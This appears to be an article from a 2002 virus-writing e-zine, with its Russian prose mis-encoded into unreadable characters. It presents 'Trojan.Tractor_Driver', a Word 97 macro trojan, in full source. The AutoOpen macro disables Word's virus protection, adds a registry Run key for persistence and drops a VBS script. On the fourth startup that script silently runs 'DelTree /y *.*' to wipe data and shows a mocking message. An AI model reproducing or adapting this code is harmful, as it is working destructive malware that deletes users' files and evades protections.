ͻ

ݰݰݰݰݰݰ۰
ݰݰݰݰݰݰݰݰݰݰݰݰ۰
ݰݰݰݰݰݰݰݰݰݰݰݰ۰
ݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰݰݰݰ
ݰݰݰݰݰݰݰݰ

  issue#2 apr.2002  

ͼ


  --< Trojan.Tractor_Driver >--


  ࠪ᪨    ᠭ ﭮ.    
 ᮢ  ࠧ襭   ⫨稨   ࠧ ;)
   -  뫮 ⮬  㢠.  ᠫ ᫥騩 .

   ⪮ ᠭ:
 1.)  室  㬥  97   .
 2.)  ⨨ ⮣ 㬥  ᮧ 䠩 㤠 뢠  .
 3.)  -  VBS 䠩  ᪠ deltree  ࠬ஬ /y *.* ᫥
 ।񭭮 ᫠ ᪮ ( 4).
 4.)  ࠨ ॥ ⠪ ࠧ  vbs 䠩 ᪠ 
  ⥬.
  
  ᥣ  ⥫    㬥 word  ७ 
 .  ⥪ ﭠ ( AutoOpen()). 
 
=======< cut here >=======
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = False
Set regedit = CreateObject("wscript.shell")
Set fso = CreateObject("scripting.filesystemobject")
wdir = fso.getspecialfolder(windowsfolder)
If regedit.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TRACTOR") <> wdir + "\tractor.vbs" Then
regedit.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TRACTOR", wdir + "\tractor.vbs"
fso.createtextfile wdir + "\tractor.vbs", True
Set f1 = fso.opentextfile(wdir + "\tractor.vbs", 2, True)
f1.writeline "'TRACTOR DRIVER V 1.3 beta"
f1.writeline "On Error Resume Next"
f1.writeline "Set regedit = CreateObject(""wscript.shell"")"
f1.writeline "Set WshShell = wscript.CreateObject(""Wscript.Shell"")"
f1.writeline "If regedit.regread(""HKEY_CURRENT_USER\TRACTOR\"") <> ""xfuck"" Then"
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\"", ""xfuck"""
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\cnt\"", 0"
f1.writeline "Else"
f1.writeline "Count = regedit.regread(""HKEY_CURRENT_USER\TRACTOR\cnt\"")"
f1.writeline "If Count = 4 Then"
f1.writeline "Bomb"
f1.writeline "Else"
f1.writeline "Count = Count + 1"
f1.writeline "regedit.regwrite ""HKEY_CURRENT_USER\TRACTOR\cnt\"", Count"
f1.writeline "End If"
f1.writeline "End If"
f1.writeline "Sub Bomb()"
f1.writeline "On Error Resume Next"
f1.writeline "WshShell.Run ""DelTree /y *.* >null"", vbHide"
f1.writeline "MsgBox ""Furious Tractor Driver has just destroyed your DATA. HA-Ha-Ha-haha"""
f1.writeline "End Sub"
f1.Close
End If
End Sub
=======< cut here >=======


  --< ... >--